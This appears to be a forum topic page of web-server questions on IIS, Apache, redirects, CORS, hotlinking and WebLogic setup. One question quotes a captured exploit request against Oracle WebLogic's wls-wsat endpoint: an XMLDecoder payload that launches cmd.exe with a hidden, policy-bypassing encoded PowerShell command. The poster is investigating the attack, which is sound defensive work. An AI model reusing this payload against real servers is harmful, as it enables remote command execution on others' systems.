Web Servers

32K

Solutions

21K

Contributors

A web server refers to the software that helps to deliver web content that can be accessed either through the Internet or through an intranet. The primary function of a web server is to store, process and deliver web pages to clients. The communication between client and server takes place using the Hypertext Transfer Protocol (HTTP). The most common use of web servers is to host websites, but there are other uses such as gaming, data storage, running enterprise applications, handling email, FTP, etc.

Share tech news, updates, or what's on your mind.

Sign up to Post

I assume that the "url" parameter in XMLHttpRequest.open(method, url) must either be a relative path on the current domain, static IP (with or without path if needed)  or FQDN (with or without path if needed). Also I assume if different sub-domains then CORS needs to be setup. Am I missing anything?  Reason I'm asking is because I'm trying to work with a team building a new service and they keep giving me new location instances to test against like: "//001l60fbadm:10001/marketingcampaigns/api/v1/campaigns" for the URL but it is internal and I can't connect. What exactly do I communicate to the team creating the service as far as the needs so I can connect? I get a "method  : options" on the failed network call.

Thanks!
0
Cloud Class® Course: C++ 11 Fundamentals
LVL 12
Cloud Class® Course: C++ 11 Fundamentals

This course will introduce you to C++ 11 and teach you about syntax fundamentals.

On my Bluehost shared server, I see folders that I think can probably be deleted. Examples are:

/public_html/old_public
/public_html/images-not-working-install

Which I think are left over from the migration they did from Godaddy.

Also, in my dev directory, dev.mysite.com, I see

/public_html/dev.mysite.com/old_dev
/public_html/dev.mysite.com/dev-from-april2018

and finally I see:
/public_html/intranet as well as
/public_html/intranet.mysite.com

I think one of those could go. So two part question: 1. Do you think I could safely delete those folders (after finding out for sure which one holds the actual intranet files)?
2. Would it make a difference to the performance of the sites that are on the shared server?

We're on the Business Pro cloud plan. We're running wordpress on all these sites.
0
I have two applications running under the default website I need to allow users to access. This is a canned application(s) that were installed onto the server via an MSI. Currently to access the website/applications users go to servername.domain.com/appname and the webpage launches. I don't want users seeing the server name and or path. I would like to publish a DNS record so they can enter either appname.com or appname.domainname.com to access the webpage/applications. There are a total of 3 applications that run under the default website two of which users will be accessing.

I can do the DNS side but have no experience with the IIS and website side of things.

Thank you
0
Running WordPress site on IIS 10 from localhost using actual host-name simultaneously with the real site.

I have a site running on Apache ("site.com", ip: IP1) connecting to database ( DB1)

I am planing to move the site from apache to IIS10, I already moved the files.
Can I have a URL ("site.com", looking at localhost not going through internet) connecting to the same database ( DB1)

So that I can make sure its working before connecting the real IP. Not sure if this makes sense.

Thanks
Manoj
0
Wireshark capture on Oracle remote command execution attempt

experts, I captured the packet of an exploit attempt on my oracle weblogic server.

I am not able to decode the powershell command. It appears to be base64 encoded.  Can anyone tell me why I can't decrypt it?

Contents of the TCP stream below:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 100.100.80.50:80
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: Close
Content-Type: text/xml
Content-Length: 1195

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
    <void index="0">
      <string>cmd.exe</string>
    </void>
    <void index="1">
      <string>/c</string>
    </void>
    <void index="2">
      <string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E …
0
I am trying to enable SSL on my Ubuntu server running Apache2, but when I restart the Apache2 service it crashes silently.

I have a cloned copy of the Ubuntu server in my Dev location and I was able to apply this without any issues.

I made, what I think is the correct edits to the /etc/apache2/sites-enable/site-name.com.conf file.
Can someone please shed some light on this for me.

<VIRTUALHOST *:443>
    ServerAdmin webmaster@localhost
    ServerName www.contoso.com
    ServerAlias  contoso.com
    DocumentRoot /var/www/www.contoso.com/web
    SSLEngine on    
    SSLCertificateFile /etc/apache2/cert/contoso.crt
    SSLCertificateKeyFile /etc/apache2/cert/contoso.key
    SSLCertificateFile /etc/apache2/cert/gd_bundle-g2-g1.crt
    <DIRECTORY />
        Options FollowSymLinks
        AllowOverride All
    </DIRECTORY>
    <DIRECTORY /var/www/www.contoso.com/web>
        Options +FollowSymLinks
        AllowOverride All
        #AuthType Basic
        #AuthName "Restricted Content"
        #AuthUserFile /etc/apache2/.htpasswd
        #Require valid-user

        # <IfModule mod_rewrite.c>
        # RewriteEngine On
        # RewriteBase /
        # RewriteCond %{REQUEST_FILENAME} -f [OR]
        # RewriteCond %{REQUEST_FILENAME} -d
        # RewriteRule ^.*$ - [S=40]
        # RewriteRule (.*)/(.*)/$ /index.php?page=$1&id=$2 [QSA,L]
        # RewriteRule (.*)/$ /index.php?page=$1 [QSA,L]
        # </IfModule>
        # php_value auto_prepend_file 

Open in new window

0
We have a problem with the new IIs in Windows 2012 R2. On prior versions of IIs we added two sites point the same IP and port 80 for one domain for the www.anydomain.com and the other for its anydomain.com (without WWW) and worked perfectly when you called the domain with WWW and without WWW. Now in windows 2012 R2, first we can’t add that two sites pointing to same IP and because windows 2012 R2 reject that. Then we added a site www.anydomain.com and inside that site we configured bindings to point port 80, one  both www.anydomain.com and other domain.com, but when we call the page like anydomain.com not work, just work if you put with WWW, in other words, www.anydomain.com

How can we configure the anydomain.com (without WWW), also?

Thank you
0
Dear Experts

looking for the entry level or mid range server for web based application and maximum users working on this application not more than 25 users, please suggest cost effective Dell server or IBM , thanks in advance.
0
I'm trying to understand how DMZ work in a Windows environment ...

So I've got my LAN, no problems with that. Now I want to put a Windows web server into a DMZ.
I've configured a VLAN for the DMZ, that works. But I'm unsure about the necessary policies on my (Watchguard) firewall regulating the traffic between DMZ and LAN:

- I'd like to be able to access the web server from the LAN using Windows Explorer. Is that possible? If yes, how?
- does the web server need to be in the local AD in order to achieve this?
- can the web server in the DMZ use a serial number distributed by the KMS server on the LAN? Or how is this being handled? [update: I got that to work]
- what if the web server in the DMZ needs to execute a query on an MSSQL server on the LAN? Do I just open the port for SQL connections? I guess using a cache DB on another server in the DMZ would be better?
- how can I RDP from the LAN to the DMZ? RDP tells me the server does not exist although I have open the RDP port on the firewall ...

Thanks!
1
Hi, the server for my site is set to disallow frames. Site is https://   magickitchen.com.

Is it possible to use an htaccess file to allow iframes within one directory? If so, how? Thanks in advance
0
Get your problem seen by more experts
LVL 12
Get your problem seen by more experts

Be seen. Boost your question’s priority for more expert views and faster solutions

Hi

I am looking for a reliable online system that hosts emails only.
My client is being bombarded with spam and needs a secure email system.
Also would you suggest changing the domain to stop all the spam?

Thanks
0
We have our corporate public website hosted on an internal server. We want to use Amazon Route 53, and the Health Checks feature to monitor this website, and automatically redirect visitors to an "under maintenance" page (hosted in an S3 bucket) in the event that the primary site goes down.

I have everything working like this:
- Route53 PRIMARY record: mydomain.com --> [IP Address of internal Web Server]
- Route53 SECONDARY record: mydomain.com --> [ALIAS for S3 bucket mydomain.com] --> S3 Web Redirect for all requests --> maintenance.mydomain.com (S3 bucket)

This all works great. If the primary goes down, visitors are redirected to maintenance.mydomain.com.

However, the problem is that browsers seem to be caching the redirect and maintenance page, so even once Route53 has switched back to the PRIMARY record, if the visitor tries to go back mydomain.com, they go straight back to the maintenance.mydomain.com page. Even closing and opening the browser doesn't help. Only manually clearing the browser cache, or switching to a different browser seems to help.

Any idea on how I could change anything to get the 'failback' working better?
0
I have a website on a self hosted centos server. When doing a page speed test through google I get a message that it takes 5.8 seconds for the website server to respond where it is supposed to respond within 200ms. How do I get to the bottom of this load time?

We staged this website on another URL on a shared hosting server with much less resources but it performs much better.

WHM Centos Version : 68.0.36
Apache : 2.4.27
SQL : 5.6.38

Problem URL : www.luckystar.africa ( 5.8 server response )
Staging Server : www.madproducitons.co.za ( 800ms server response )
0
How to create website? what's the procedure and cost?
0
Hi, i want to redirect http requests to the https in glassfish server on linux OS.

Have anybody done it ?

It's a Web Server.

Glassfish version : 3
OS : Red Hat 6.



https://ssl.comodo.com/support/certificate-installation-glassfish-4x.php     :  Here is ssl certificate guide for glassfish
0
Hi, I'm using Dreamweaver and my site will post on my localhost just fine, but how I do connect to my remote site (company domain)?  What do I need to change my URLs to?  Thanks in advance :)
server folder: c:\xampp\htdocs\tester\
My web URL: http://localhost/tester/
0
Dear Experts, I got a website at domain: example.com, but when I typed it in a browser, it showed only IIS page. The website can only be displayed when I typed https://www.example.com

Can you please suggest? We 'd like to get the website when I typed www.example.com or example.com, not only https://www.example.com

Also, sometimes I could not access the website on a browser and not the others?
0
I am doing website management for a company that is growing quickly. They prefer wordpress and a divi theme for all the websites. They will be adding a lot more websites with a lot of products over the next year, and because we've had problems with hosting companies, they are thinking of hosting the websites themselves.

I know that I have zero server knowledge or experience, and they are asking my opinion. I thought maybe a company like https://www.serversurgeon.com/index.php could help.

Any thoughts?  How difficult would this be? Who would he need to hire to manage the servers?   What programs would need to be on them to allow the databases and other necessities for wordpress?  Does it need to be Apache? Could it be Linus servers?  And other questions I'm sure you'll anticipate and answer. Thanks.
0
I am trying to redirect the following:

http://ppr/tax:81/tabular.asp to
response.Redirect("https://taxcom.grwr.gov/ppr/tabular.asp")

However, what we would like to display is:
https://ppr/tax:81/tabular.asp

Is this possible.

For more clarity, ("https://taxcom.grwr.gov is a subdomain and
http://ppr/tax:81/tabular.asp is another subdomain

But because http://ppr/tax:81/tabular.asp is does not have its dedicated ssl certificate, we would like it to  inherit the certificate from https://taxcom.grwr.gov but replace taxcom with ppr.

Is this possible?

Hope this makes sense.

Thanks in advance
0
Get expert help—faster!
LVL 12
Get expert help—faster!

Need expert help—fast? Use the Help Bell for personalized assistance getting answers to your important questions.

I have 11 servers... all running nginx + php7 and one load balancer (nginx as well)... how do I keep the code synced across all servers... I dont want to go in and save in each and every server the same code, what approach would be the "standard" for this?

loadbalancer.server.com -> app1.server.com/app2.server.com/app3.server.com/app4.server.com, etc...
0
Greetings!

If someone enters our web address in their browser without the www, it would show page could not be found.
But, if they enter www in front of our web address, it would bring them to our website. We never paid attention to this until we received a warning from Google Analytics recently as shown below. I guess Google is recommending us to setup our website in a way where it would open if someone doesn't enter www. infront of our web address.  Is there a way to configure our website as suggested by Google?  Thank you!

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Property http://www.xyz.com is receiving data from redundant hostnames. Some of the redundant hostnames are:
•      xyz.com
•      www.xyz.com
Redundant hostnames are counted as separate rows in reports, so hits that are going to the same page on your site from different hostnames will be split into multiple rows. With data split across multiple rows, traffic to specific pages will appear lower than it actually is.

To avoid this problem, consider setting up a 301 redirect from one of your redundant hostnames to the other, or create a search-and-replace filter that strips "www." from hostnames.

Google Tag Assistant Recordings can help you verify that your redirect is setup correctly, or that your filter is working as …
0
Hello,

I am a coldfusion developer.  I have a probably dumb question.  If we want to create some JAVA we apps, would we be able to run those on our coldfusion server?

I know that CF runs on Java, so I am guessing the answer is yes, but am unsure.

Are there java web servers?  Or do people run java on IIS, APache, etc?

Thanks for any info.

-Bonnie
0
Hi expertsAWS opened ports for reference,

   My web application is running on aws ubuntu 16.  I have the following ports open from aws.  
It has the following applications running on ubuntu

uwsgi with nginx -  i  Think it uses port 80
node.js with react - react is rendering on port 9009
webpack with webpack.config.js - which creates js file which will be using port 80
npm run django: runserver 0.0.0.0:8000  uses port 8000
elastic search :9200 uses port 9200
postgresql used port:5432

Please see the opened ports on aws.  screenshot for reference.

With putty I connect to linux ubuntu machine with the following ip address 54.252.92.17

There is docker application which runs inside that linux box uses nginx, postgres, elasticsearch

When I run docker application, and I able to see from browser with http://54.252.92.17/

Where as when I run python manage.py runserver 0.0.0.0:8000 I am not able to see the application.

The site can't be reached 54.252.92.17 refused to connect error.

Whereas I can see the docker application when the docker is run.

Please help me why the python application is not running on the browser, where as Docker application runs well.

With python manage.py runserver 0,0,0,0:8000 I am running from the source code.  Whereas with docker I am running the docker image.

Both are same application.  

Please help me in fixing this issue.

with many thanks,
Bharath AK
0
After using apache and weblogic for more than 10 years(the last working module used is: mod_wl_22), I am ready to set up a replacement system with the newer version of the connector module (mod_wl_24) for our production.

I follow the official documentation from this link:

https://docs.oracle.com/middleware/1221/webtier/develop-plugin/apache.htm#PLGWL395

The server OS is:
root@server90 ~]# uname -a
Linux server90 4.1.12-94.3.9.el7uek.x86_64 #2 SMP Fri Jul 14 20:09:40 PDT 2017 x86_64 x86_64 x86_64 GNU/Linux

Open in new window

Apache version:
[root@server90 ~]# apachectl -version
Server version: Apache/2.4.6 ()
Server built:   Oct 19 2017 14:54:33

Open in new window

APACHE_HOME folder details
[root@server90 httpd]# pwd
/etc/httpd
[root@server90 httpd]# ll
total 8
drwxr-xr-x 2 root root   58 Mar 10 21:58 conf
drwxr-xr-x 2 root root  103 Mar 10 21:56 conf.d
drwxr-xr-x 2 root root 4096 Mar 10 21:42 conf.modules.d
drwxr-xr-x 2 root root 4096 Mar 11 15:31 lib
lrwxrwxrwx 1 root root   19 Feb 22 16:32 logs -> ../../var/log/httpd
lrwxrwxrwx 1 root root   29 Feb 22 16:32 modules -> ../../usr/lib64/httpd/modules
lrwxrwxrwx 1 root root   10 Feb 22 16:32 run -> /run/httpd
[root@server90 httpd]# 

Open in new window

I created a lib folder at the APACHE_HOME folder and copy all the lib files and this connection module(downloaded from Apache foundation website) into this folder
[root@server90 httpd]# cd lib/
[root@server90 lib]# ll
total 138808
-rwxr-xr-x 1 root root  6990875 Mar 10 21:00 libclntshcore.so
-rwxr-xr-x 1 root root  6990875 Mar 10 21:00 libclntshcore.so.12.1
-rwxr-xr-x 1 root root 58793741 Mar 10 21:00 libclntsh.so
-rwxr-xr-x 1 root root 58793741 Mar 10 21:00 libclntsh.so.12.1
-rwxr-xr-x 1 root root   409107 Mar 10 21:00 libdms2.so
-rwxr-xr-x 1 root root  1768370 Mar 10 21:00 libipc1.so
-rwxr-xr-x 1 root root   544150 Mar 10 21:00 libmql1.so
-rwxr-xr-x 1 root root  6747034 Mar 10 21:00 libnnz12.so
-rwxr-xr-x 1 root root   346242 Mar 10 21:00 libons.so
-rwxr-xr-x 1 root root    98521 Mar 10 21:00 libonsssl.so
-rwxr-xr-x 1 root root    72281 Mar 10 21:00 libonssys.so
-rwxr-xr-x 1 root root   567319 Mar 11 15:24 mod_wl_24.so
[root@server90 lib]# 

Open in new window

After that, I added directive for loading the module  into the $APACHE_HOME/conf/httpd.conf file:
[root@server90 httpd]# cd conf
[root@server90 conf]# ll
total 36
-rw-r--r-- 1 root root 11814 Mar 11 00:49 httpd.conf
-rw-r--r-- 1 root root 13077 Oct 19 17:55 magic
-rw-r--r-- 1 root root  4104 Mar 10 21:58 weblogic.conf
[root@server90 conf]# cat httpd.conf 
LoadModule weblogic_module /etc/httpd/lib/mod_wl_24.so

Open in new window

Then verify if this apache web server has included the dynamic sharing module: mod_so.c
[root@server90 conf]# apachectl -l
Compiled in modules:
  core.c
  mod_so.c
  http_core.c
[root@server90 conf]# 

Open in new window

the next step is to try to test the syntax of httpd.conf:
[root@server90 conf]# apachectl -t
httpd: Syntax error on line 355 of /etc/httpd/conf/httpd.conf: Cannot load modules/mod_wl_24.so into server: libonssys.so: cannot open shared object file: No such file or directory
[root@server90 conf]# 

Open in new window

it shows some error message:

Open in new window

0
Hi all, I know this is all over every forum and I have tried and tried but just can't get it to work.
It is for a free image hosting service that allows hotlinkning, but not abusive hotinking, so they need to stop images being hotlinked from certain outside domains only, all other websites/forums etc can hotlink, in the same way imgur block hotlinking to sites that break their terms of service.

The .htaccess file looks like this but images are still hotlinked to eBay, any ideas?

RewriteEngine on
RewriteCond %{HTTP_REFERER} ^https://(.+\.)?vipr.ebaydesc\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^https://(.+\.)?vi.vipr.ebaydesc\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^https://(.+\.)?ebay\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^https://(.+\.)?ebaydesc\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^https://(.+\.)?www.ebay\.com/ [NC]
RewriteRule .*\.(jpeg|jpg|gif|bmp|png)$ https://mydomain.com/nohotlinking.gif [L]

RewriteEngine on
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !-f
RewriteRule \.(gif|jpe?g|png|bmp) 404.gif [NC,L]

Open in new window


The second rule is designed to show an image when the image at a particular url has been deleted, that works perfectly.

We have also tried variations such as,

RewriteCond %{HTTP_REFERER} ^http(s)?://(.+\.)?vi.vipr.ebaydesc(.+)?\.com [NC]

Open in new window


and

RewriteCond %{HTTP_REFERER} ^https://(.*\.)*ebay\.com [NC,OR]

Open in new window


But nothing works, now we know its possible as imgur do it.

Any ideas?

Thanks
0

Web Servers

32K

Solutions

21K

Contributors

A web server refers to the software that helps to deliver web content that can be accessed either through the Internet or through an intranet. The primary function of a web server is to store, process and deliver web pages to clients. The communication between client and server takes place using the Hypertext Transfer Protocol (HTTP). The most common use of web servers is to host websites, but there are other uses such as gaming, data storage, running enterprise applications, handling email, FTP, etc.